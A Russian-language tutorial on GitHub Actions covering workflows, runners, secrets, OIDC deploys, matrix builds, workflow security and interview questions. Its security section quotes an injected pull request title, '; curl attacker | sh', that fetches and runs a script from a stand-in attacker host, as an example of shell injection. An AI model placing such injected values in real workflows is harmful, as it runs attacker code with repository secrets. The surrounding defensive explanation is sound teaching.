Все уроки
DevOps и облакоСредний12 мин чтенияПолезно знать

GitHub Actions

CI/CD, который живёт рядом с кодом: YAML-воркфлоу, которые тестируют, собирают и деплоят на каждый push.

  • Workflows
  • Runners
  • Secrets
  • Matrix builds
  • Caching
Шаг 1/6
Разработчик делает push. CI/CD pipeline просыпается, и первым делом linter проверяет стиль. Зелёный.

За 30 секунд

GitHub Actions запускает автоматические задачи (job), когда в репозитории что-то происходит: push, pull request, тег, расписание или нажатие кнопки. Задачи описываются в YAML-файлах в папке .github/workflows, а GitHub выполняет их на свежих виртуальных машинах — раннерах. Команды используют его, чтобы гонять тесты на каждый pull request, собирать Docker-образы, публиковать пакеты и деплоить на серверы или в облака без отдельного CI-продукта.

Не в моём ежедневном стеке — я понимаю принципы и изучу детали, когда это понадобится проекту.

Почему это важно

  • Он избавляет от целой системы, которую надо обслуживать: если код уже на GitHub, CI/CD идёт вместе с репозиторием — без сервера, который надо патчить, и без плагинов, которые надо обновлять.
  • Pull request-ы получают понятный зелёный или красный статус до merge, и сломанный код ловит машина, а не ревьюер или клиент.
  • В Marketplace тысячи готовых action-ов (checkout, настройка языка, кэш, вход в облака), поэтому большинство пайплайнов собирается из готовых частей, а не пишется с нуля.
  • OIDC federation позволяет воркфлоу деплоить в AWS, Google Cloud или Azure с короткоживущими токенами вместо долгоживущих облачных ключей в секретах.

Как это работает

01Базовые элементы: workflow, события, job-ы, step-ы

Workflow — это один YAML-файл в .github/workflows. Он начинается с on: — событий, которые его запускают: push, pull_request, workflow_dispatch (ручная кнопка) или schedule (cron). Workflow состоит из job-ов; каждый job выполняется на своём раннере — свежей машине, которую потом выбрасывают. По умолчанию job-ы идут параллельно; needs: заставляет один job ждать другой. Job — это список шагов (step). Шаг либо выполняет shell-команды через run:, либо использует готовый action через uses:, например actions/checkout, чтобы склонировать репозиторий. Представьте книгу рецептов: workflow — это книга, job-ы — рецепты, которые можно готовить одновременно на разных кухнях, а шаги — строки каждого рецепта. Поскольку каждый job стартует на чистой машине, между job-ами ничего не переносится, если вы явно не передадите это как артефакт, запись в кэше или output job-а.

  • Workflow = файл, запускаемый событиями.
  • Job = выполняется на одном раннере; параллельно, если needs: не говорит иначе.
  • Step = shell-команда (run:) или action (uses:).

02Ваш первый CI-воркфлоу

Воркфлоу ниже запускается на каждый pull request и на push в main. Он забирает код, ставит Node.js с кэшированием зависимостей, встроенным в setup-node, устанавливает точные версии из lockfile через npm ci, затем запускает линтер и тесты. Две строки важнее, чем кажутся. permissions: contents: read ограничивает автоматический GITHUB_TOKEN правами только на чтение, так что скомпрометированный шаг не сможет запушить код. concurrency отменяет более старый запуск той же ветки, когда приходит новый коммит, — это экономит минуты и избавляет от путаницы в результатах. Версии action-ов указаны как @v7 — тег мажорной версии. Для action-ов, которые публикует сам GitHub, это разумный вариант по умолчанию; сторонние action-ы закрепляйте полным SHA коммита — об этом ниже.

yaml
name: CI
on:
  pull_request:
  push:
    branches: [main]
permissions:
  contents: read
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with: { node-version: 24, cache: npm }
      - run: npm ci
      - run: npm run lint && npm test

03Раннеры: GitHub-hosted, larger и self-hosted

Раннер — это машина, которая выполняет job. GitHub-hosted раннеры (ubuntu-latest, windows-latest, macos-latest и ARM-варианты) — это свежие VM на каждый job, которые патчит GitHub; для приватных репозиториев они оплачиваются поминутно, публичные получают стандартные размеры бесплатно. Larger-раннеры дают больше CPU и RAM, статические диапазоны IP и варианты с GPU за большие деньги. Self-hosted раннеры — это ваши собственные машины или поды Kubernetes с агентом раннера; вы выбираете их по меткам, например runs-on: [self-hosted, linux]. Они полезны, когда нужно особое железо, доступ в приватную сеть или более дешёвые вычисления в больших объёмах. Цена — патчи, масштабирование и очистка теперь на вас. Самое важное: никогда не подключайте self-hosted раннер к публичному репозиторию, потому что любой, кто откроет pull request, сможет выполнить код на вашей машине. Для автомасштабирования Actions Runner Controller (ARC) создаёт эфемерные поды-раннеры в Kubernetes по запросу.

04Секреты, переменные и environments

Секреты — это зашифрованные значения (API-токены, SSH-ключи), которые хранятся в настройках репозитория, environment или организации и читаются в YAML как ${{ secrets.NAME }}. GitHub маскирует их в логах, но маскирование — это не безопасность: шаг, который закодирует секрет в base64, выведет его в открытом виде. Переменные (${{ vars.NAME }}) предназначены для несекретной конфигурации, например названия региона. Environments (например, staging и production) группируют секреты и добавляют правила защиты: обязательных ревьюеров, таймер ожидания и список веток, которым разрешён деплой. Job, объявивший environment: production, встаёт на паузу, пока аппрувер не нажмёт approve, и только тогда может читать секреты production. Секреты не передаются в воркфлоу, запущенные pull request-ами из форков, — это защищает от посторонних, которые захотят их вытащить. Для облаков предпочитайте OIDC: воркфлоу запрашивает подписанный identity-токен и обменивает его на короткоживущие облачные credentials, так что нет облачного ключа, который может утечь или который надо ротировать.

05Matrix-сборки, кэш и артефакты

Matrix запускает один и тот же job на разных комбинациях — например, три версии Node на двух операционных системах дают шесть параллельных job-ов из пары строк. Ставьте fail-fast: false, если хотите увидеть все упавшие комбинации, а не отменять остальные при первом падении. Кэш экономит скачивание зависимостей между запусками: у setup-action-ов для Node, Python, Java и Go есть input cache, а actions/cache подходит для всего остального, с ключом по хэшу lockfile, чтобы кэш обновлялся при изменении зависимостей. Артефакты — другое: это файлы, которые производит job (папка сборки, отчёты тестов, coverage), и вы загружаете их для других job-ов или чтобы люди могли их скачать, с периодом хранения. Правило: кэшируйте то, что можно пересобрать, чтобы сэкономить время; загружайте артефакты, когда нужен точный результат именно этого запуска.

yaml
jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:
      fail-fast: false
      matrix:
        os: [ubuntu-latest, windows-latest]
        node: [20, 22, 24]
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: ${{ matrix.node }}
          cache: npm
      - run: npm ci && npm test

06Deploy-job с аппрувом и OIDC

Типичный пайплайн тестирует каждый pull request, а деплоит только из main. Deploy-job ниже ждёт test-job через needs:, запускается только в main благодаря if: и привязан к environment production, поэтому требует аппрува и может читать секреты, доступные только production. permissions: id-token: write позволяет job-у запросить OIDC-токен, который action входа в облако обменивает на временные credentials роли, настроенной доверять только этому репозиторию и ветке. ARN роли не секрет, но храните его в переменной, чтобы файл оставался универсальным. Сам деплой здесь — скрипт-заглушка; это может быть helm upgrade, rsync или вызов CLI хостинг-провайдера.

yaml
  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@v7
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
          aws-region: eu-central-1
      - run: ./scripts/deploy.sh

Когда применять

  • Код уже на GitHub, и нужен CI/CD без ещё одного сервера.
  • Open-source проекты, которым нужен бесплатный CI на Linux, Windows и macOS для каждого pull request.
  • Небольшие и средние команды, которые хотят управлять пайплайнами, аппрувами и секретами в одном месте с кодом.
  • Автоматизация рутины репозитория помимо CI: метки на issues, публикация релизов, задачи по расписанию.

Когда не стоит

  • Код живёт в GitLab, Bitbucket или на self-hosted Git-сервере — используйте родной CI этой платформы, а не зеркалирование.
  • Очень тяжёлые и долгие сборки, где поминутная оплата hosted-раннеров становится дорогой, а желания поддерживать self-hosted раннеры нет.
  • Строго изолированные (air-gapped) среды, где ни один внешний SaaS не должен касаться кода (GitHub Enterprise Server может помочь, но это более серьёзное решение).

Альтернативы

  • GitLab CI/CD

    Встроен в GitLab: стадии, environments и сильный self-hosted вариант.

  • Jenkins

    Self-hosted, бесконечно расширяемый плагинами; больше контроля, больше обслуживания.

  • CircleCI / Buildkite

    Специализированные CI-сервисы; Buildkite запускает агентов на вашей инфраструктуре.

  • Build-хуки платформ

    Vercel, Netlify или Render собирают по push простые веб-приложения без собственного пайплайна.

Лучшие практики

  1. Задавайте на верхнем уровне permissions: contents: read и выдавайте больше прав только тем job-ам, которым это нужно.
  2. Закрепляйте сторонние action-ы полным SHA коммита и пусть Dependabot или Renovate предлагают обновления.
  3. Используйте OIDC для деплоя в облака вместо долгоживущих access key в секретах.
  4. Защищайте production через environment с обязательными ревьюерами и разрешением только для ветки main.
  5. Добавляйте concurrency-группы, чтобы новые коммиты отменяли устаревшие запуски, а два деплоя никогда не пересекались.
  6. Кэшируйте зависимости по хэшу lockfile и держите job-ы небольшими, чтобы падения быстро читались.
  7. Выносите повторяющиеся пайплайны в reusable workflows или composite actions вместо копипасты YAML.

Частые ошибки

  • Использовать pull_request_target и делать checkout кода из pull request — так недоверенный код выполняется с секретами и правами на запись.
  • Подставлять ${{ github.event.pull_request.title }} прямо в скрипты run:, что открывает shell injection; передавайте значение через env-переменную.
  • Оставлять токен по умолчанию с правами на запись в каждом job-е.
  • Self-hosted раннеры в публичных репозиториях или постоянные раннеры, которые хранят файлы и credentials между job-ами.
  • Ожидать, что файлы одного job-а окажутся в следующем без загрузки артефакта.

Глубже

07Reusable workflows против composite actions

Два способа перестать копипастить YAML. Composite action упаковывает несколько шагов в один action.yml; вызывающие используют его как один шаг, поэтому он выполняется внутри job-а вызывающего и разделяет его раннер и файловую систему. Это идеально для последовательности настройки: установить тулчейн, восстановить кэш, залогиниться. Reusable workflow — это целый воркфлоу с on: workflow_call, inputs и secrets; вызывающие ссылаются на него на уровне job-а через uses: org/repo/.github/workflows/deploy.yml@ref. Он может содержать несколько job-ов, environments и свои раннеры, поэтому это правильный инструмент для стандартного пайплайна, которому должен следовать каждый сервис. Секреты нужно передавать явно или через secrets: inherit. Вложенность ограничена (несколько уровней), и вызывающий может только сузить, но не расширить права вызываемого воркфлоу. Платформенная команда часто публикует reusable workflows из центрального репозитория и принуждает к ним через required workflows или rulesets.

yaml
# .github/workflows/deploy.yml (reusable)
on:
  workflow_call:
    inputs:
      environment: { type: string, required: true }
    secrets:
      DEPLOY_TOKEN: { required: true }
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    steps:
      - uses: actions/checkout@v7
      - run: ./scripts/deploy.sh "${{ inputs.environment }}"
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

08Доверие OIDC: как на самом деле работают деплои без ключей

Когда у job-а есть id-token: write, раннер может запросить у токен-сервиса GitHub JSON Web Token, подписанный GitHub. Claims токена описывают запуск: репозиторий, ref, environment, воркфлоу и инициатора. Claim sub выглядит как repo:your-org/your-repo:environment:production. В облаке вы регистрируете GitHub как identity provider и создаёте роль, чья trust policy принимает токены только с определённым audience и sub. Облако проверяет подпись, claims и возвращает credentials, которые истекают примерно через час. Безопасность ровно настолько хороша, насколько хорошо это условие: trust policy, совпадающая с repo:your-org/*, позволяет любому репозиторию организации взять production-роль. Привязывайте production-роли к claim environment, чтобы деплоить могли только job-ы, прошедшие правила аппрува этого environment. Организации также могут настроить claim sub, добавив больше полей, например ссылку на workflow job-а.

09Безопасность воркфлоу: инъекции и недоверенные триггеры

Две классические дыры — инъекция в скрипт и привилегированные триггеры. Выражения вроде ${{ github.event.issue.title }} подставляются в текст скрипта до запуска shell, поэтому заголовок с «; curl attacker | sh» становится кодом. Решение: передавайте недоверенные значения через env: и обращайтесь к ним как к обычным shell-переменным, которые shell воспринимает как данные. Вторая дыра — pull_request_target и workflow_run: они по задумке работают в контексте базового репозитория с секретами и токеном на запись, чтобы можно было ставить метки или комментировать pull request-ы из форков. Если такой воркфлоу выкачивает и собирает код форка, этот код выполняется с теми же привилегиями. Держите привилегированные воркфлоу свободными от недоверенного кода или разделяйте работу: непривилегированный pull_request-воркфлоу собирает и загружает результаты, а привилегированный только читает артефакт как данные. Инструменты вроде zizmor или actionlint автоматически находят такие паттерны в CI.

yaml
# Unsafe: title is pasted into the script
- run: echo "${{ github.event.pull_request.title }}"
 
# Safe: title arrives as data in an env var
- run: echo "$PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

10Скорость и стоимость на масштабе

Время пайплайна — это время разработчиков. Сначала измерьте: сводка запуска показывает длительность каждого job-а. Частые выигрыши: запускать линтер, unit-тесты и проверку типов параллельными job-ами; использовать фильтры paths, чтобы изменение в документации не гоняло весь набор тестов бэкенда; кэшировать зависимости и слои Docker (docker/build-push-action поддерживает cache-to и cache-from с type=gha); делить большие наборы тестов на шарды через matrix. Отменяйте устаревшие запуски через concurrency. В монорепозиториях вычисляйте затронутые пакеты и запускайте только их. По стоимости минуты Linux самые дешёвые, а минуты Windows и macOS стоят в несколько раз дороже, так что оставляйте там только то, что действительно этого требует. Когда hosted-минуты превращаются в большой счёт, автомасштабируемые эфемерные self-hosted раннеры через Actions Runner Controller на spot-инстансах могут снизить расходы, но тогда безопасность этих машин и сетей, к которым у них есть доступ, — на вас.

Реальные ситуации

01

CI идёт 25 минут на каждый pull request

Проблема

Команда почти полчаса ждёт проверок на каждом pull request. Разработчики начинают мержить, не дожидаясь, а нестабильные падения игнорируются.

Как решить

Посмотрите таймлайн запуска и найдите самые медленные job-ы. Разбейте один большой job на параллельные lint, typecheck, unit и e2e. Включите кэширование зависимостей в setup-node и кэш слоёв Docker с type=gha. Разделите медленный набор тестов на четыре matrix-job-а с помощью опции shard у тест-раннера. Добавьте фильтры paths, чтобы изменения только во фронтенде пропускали job-ы бэкенда. Добавьте concurrency-группу с cancel-in-progress, чтобы новые push-и отменяли старые запуски. Вынесите нестабильные тесты в отдельный неблокирующий job и чините их по одному. Типичный результат: меньше десяти минут и обязательные проверки, которым снова доверяют.

02

Убираем долгоживущие ключи AWS из репозитория

Проблема

Деплой использует access key и secret, сохранённые в секретах репозитория много лет назад. Никто не знает, кто их создал, а прав у них много.

Как решить

Добавьте GitHub как OIDC identity provider в AWS IAM с audience sts.amazonaws.com. Создайте deploy-роль только с теми правами, которые нужны деплою, и trust policy с условием sub repo:your-org/your-repo:environment:production. В воркфлоу добавьте deploy-job-у permissions: id-token: write, используйте aws-actions/configure-aws-credentials с role-to-assume и уберите inputs с ключами. Запустите деплой и убедитесь, что всё работает. Затем деактивируйте старый access key, подождите несколько дней — вдруг что-то ещё от него зависит, — и удалите его вместе с секретами репозитория.

03

Десять репозиториев с немного разными пайплайнами

Проблема

У каждого сервиса своя скопированная версия воркфлоу. Исправление безопасности в шагах деплоя приходится делать десять раз, и какие-то репозитории всегда забывают.

Как решить

Создайте центральный репозиторий с reusable workflows для test, build и deploy, принимающими inputs вроде node-version и environment. Версионируйте их тегами, и пусть каждый сервис вызывает их на уровне job-а через uses: your-org/ci/.github/workflows/deploy.yml@v1. Общие шаги настройки вынесите в composite action. Внедряйте постепенно: замените воркфлоу одного сервиса, проверьте, затем остальные. Используйте rulesets организации, чтобы требовать стандартные проверки перед merge. Будущие исправления — это одно изменение и новый тег, а Dependabot может обновлять вызывающих.

Шпаргалка

Ручной запуск
on: workflow_dispatch
Ночное расписание (UTC)
on: { schedule: [{ cron: "0 3 * * *" }] }
Токен только на чтение по умолчанию
permissions: { contents: read }
Отменять устаревшие запуски
concurrency: { group: ci-${{ github.ref }}, cancel-in-progress: true }
Запуск только в main
if: github.ref == 'refs/heads/main'
Пропускать изменения только в документации
on: { push: { paths-ignore: ["docs/**", "**.md"] } }
Передать данные следующим шагам
echo "version=1.2.3" >> "$GITHUB_OUTPUT"
Запустить воркфлоу из CLI
gh workflow run ci.yml --ref main
Следить за последним запуском
gh run watch
Линтинг файлов воркфлоу
actionlint .github/workflows/*.yml

Вопросы и ответы

Q1Чем job отличается от step?

Job — это единица работы, которая выполняется на одном раннере, одной свежей машине. Job-ы в воркфлоу по умолчанию идут параллельно, а порядок задаётся через needs:. Step — это один пункт внутри job-а: либо shell-команда через run:, либо переиспользуемый action через uses:. Шаги в job-е выполняются по порядку и разделяют одну файловую систему и окружение, так что шаг может использовать файлы, созданные предыдущим. Job-ы файловую систему не разделяют; чтобы передать данные между ними, используют артефакты, кэш или outputs job-ов. На практике я делю работу на job-ы, когда нужен параллелизм или отдельная граница прав, и на шаги, когда действия тесно зависят друг от друга.

Q2Как обезопасить секреты в GitHub Actions?

В несколько слоёв. Храните секреты в настройках репозитория, environment или организации, никогда в YAML. Кладите секреты production в защищённый environment, чтобы их могли читать только одобренные job-ы из main. Делайте GITHUB_TOKEN по умолчанию только для чтения. Для доступа к облакам предпочитайте OIDC, чтобы долгоживущего ключа не было вовсе. Не печатайте и не преобразуйте секреты в логах, потому что маскирование ловит только точную строку. Не используйте pull_request_target с выкачанным кодом форка и никогда не подставляйте недоверенные данные события прямо в shell-скрипты. Наконец, закрепляйте сторонние action-ы по SHA коммита: используемый action работает с доступом к тем же секретам, что и ваши шаги.

Q3Кэш или артефакт: что выбрать?

Они решают разные задачи. Кэш — это оптимизация: он хранит то, что можно пересобрать, например скачанные npm-пакеты, с ключом вроде хэша lockfile. Если кэша нет, job всё равно работает, просто медленнее. Артефакт — это результат конкретного запуска: скомпилированная сборка, отчёты тестов или файл coverage. Вы загружаете его, чтобы следующий job использовал именно этот результат или чтобы человек мог его скачать. Хороший тест: если потеря сломает корректность — это артефакт; если стоит только времени — это кэш. Кэши ещё и ограничены веткой: pull request-ы могут читать кэш ветки main, но не кэши друг друга.

Q4Как работает matrix-сборка и когда она оправдана?

Matrix берёт списки значений, например операционные системы и версии языка, и создаёт по job-у на каждую комбинацию. Три версии Node на двух системах превращаются в шесть параллельных job-ов. Это оправдано для библиотек и инструментов, которые пользователи запускают в разных окружениях: так до релиза ловятся баги, специфичные для версий. Для приложения, которое работает на одной версии Node в одном Docker-образе, matrix в основном сжигает минуты — тестируйте ту версию, которую поставляете. Используйте include и exclude, чтобы добавить или убрать конкретные комбинации, fail-fast: false, чтобы видеть все падения, и max-parallel, если надо ограничить нагрузку на общий сервис.

Q5Зачем закреплять action-ы по SHA коммита, а не по тегу вроде v4?

Тег — это подвижный указатель. Если репозиторий action-а скомпрометируют, атакующий может перевесить тег на вредоносный код, и каждый использующий его воркфлоу при следующей сборке выполнит этот код с вашими секретами. Такое случалось в реальных supply-chain инцидентах. Полный 40-символьный SHA коммита неизменяем, так что вы запускаете ровно тот код, который проверили. Минус — ручные обновления, и эту проблему решают Dependabot или Renovate, открывая pull request-ы с новым SHA и комментарием с версией. Для action-ов, которые поддерживает сам GitHub, многие команды принимают мажорные теги; для всего стороннего закрепление по SHA — более безопасный вариант по умолчанию.

Q6Как задеплоить на сервер из GitHub Actions?

Сначала решите, что именно переезжает: обычно Docker-образ, запушенный в registry, или собранный артефакт. Воркфлоу тестирует, собирает и пушит образ с тегом SHA коммита. Затем deploy-job, привязанный к защищённому environment production, говорит серверу скачать и перезапустить именно этот тег — например, по SSH с отдельным deploy-ключом с ограниченными правами или через облачный API с OIDC credentials. Добавьте concurrency-группу, чтобы два деплоя не пересекались, health check после перезапуска и простой путь отката, например повторный деплой предыдущего SHA. Держите логику деплоя в скрипте в репозитории, чтобы его можно было запускать и тестировать и вне CI.

Вопросы уровня senior

S1Как бы вы спроектировали CI/CD-governance для организации с 200 репозиториями на GitHub?

Я бы централизовал паттерны и децентрализовал ответственность. Платформенный репозиторий публикует версионированные reusable workflows для build, test, scan и deploy, плюс composite actions для настройки. Rulesets организации требуют определённых status checks и, где доступно, required workflows, чтобы одна команда не могла убрать сканирование безопасности. Политика организации ограничивает разрешённые action-ы: собственные GitHub, проверенные авторы и allowlist сторонних action-ов, закреплённых по SHA. Права токена по умолчанию на уровне организации — только чтение. Доступ к облакам — через OIDC с trust policies, привязанными к claims репозитория и environment. Раннеры для большей части работы — GitHub-hosted, а для job-ов, которым нужен приватный доступ, — эфемерные раннеры под управлением ARC в изолированных сетях. Компромисс — меньше свободы отдельным командам, поэтому общие воркфлоу должны быть хорошими, документированными и быстрыми, иначе команды начнут их обходить.

S2Какие риски у self-hosted раннеров и как запускать их безопасно?

Раннер выполняет всё, что скажет воркфлоу, так что по сути это remote code execution для любого, кто может запустить воркфлоу. Риски: вредоносный pull request в публичном репозитории, сохранение состояния между job-ами (один job оставляет бэкдор, у следующего крадут секреты) и горизонтальное перемещение по сети, в которой стоит раннер. Безопасная эксплуатация означает: никогда в публичных репозиториях; эфемерные раннеры, которые берут ровно один job и уничтожаются, обычно через Actions Runner Controller или автомасштабируемые VM; группы раннеров, ограниченные конкретными репозиториями; минимальный сетевой доступ с контролем egress; никаких облачных instance-ролей с широкими правами на хосте раннера; регулярная пересборка образов. Компромисс по сравнению с hosted-раннерами: с одной стороны контроль и стоимость, с другой — обслуживание парка машин, чувствительного с точки зрения безопасности.

S3Как гарантировать, что задеплоено именно то, что протестировал CI?

Собирай один раз, продвигай много раз. CI собирает один артефакт, обычно контейнерный образ, тегирует его SHA коммита, пушит в registry и дальше ссылается на него по неизменяемому digest. Тесты запускаются против этого образа. Деплои в staging и production тянут тот же digest, а не пересобирают, так что шанса, что позже разрезолвится другая зависимость, нет. Добавьте provenance: GitHub artifact attestations (на базе Sigstore) позволяют подписать утверждение о происхождении сборки, связывающее digest образа с воркфлоу, репозиторием и коммитом. Шаг деплоя или admission controller проверяет attestation перед запуском. Цена — дополнительная сложность пайплайна и место в registry; выгода — проверяемая цепочка от коммита до работающего кода, которую ценят аудиторы и те, кто разбирает инциденты.

Глоссарий

Workflow
YAML-файл в .github/workflows, описывающий автоматические job-ы и события, которые их запускают.
Runner
Машина, выполняющая job: GitHub-hosted VM или ваша собственная self-hosted машина.
Action
Переиспользуемый упакованный шаг, на который ссылаются через uses:, например actions/checkout.
GITHUB_TOKEN
Автоматический короткоживущий токен для каждого запуска, права которого вы ограничиваете в воркфлоу.
Environment
Именованная цель деплоя со своими секретами и правилами защиты, например обязательными ревьюерами.
OIDC
OpenID Connect: job подтверждает свою личность подписанным токеном, чтобы получить временные облачные credentials.
Matrix
Стратегия, которая параллельно запускает один job на множестве комбинаций значений.
Artifact
Файл, созданный запуском и загруженный для следующих job-ов или для скачивания.
Reusable workflow
Воркфлоу, запускаемый через workflow_call, чтобы другие воркфлоу могли вызывать его как job.

Есть идея продукта?Давайте создадим его.

Расскажите о своей идее, продукте или команде. Обычно отвечаю в течение одного рабочего дня.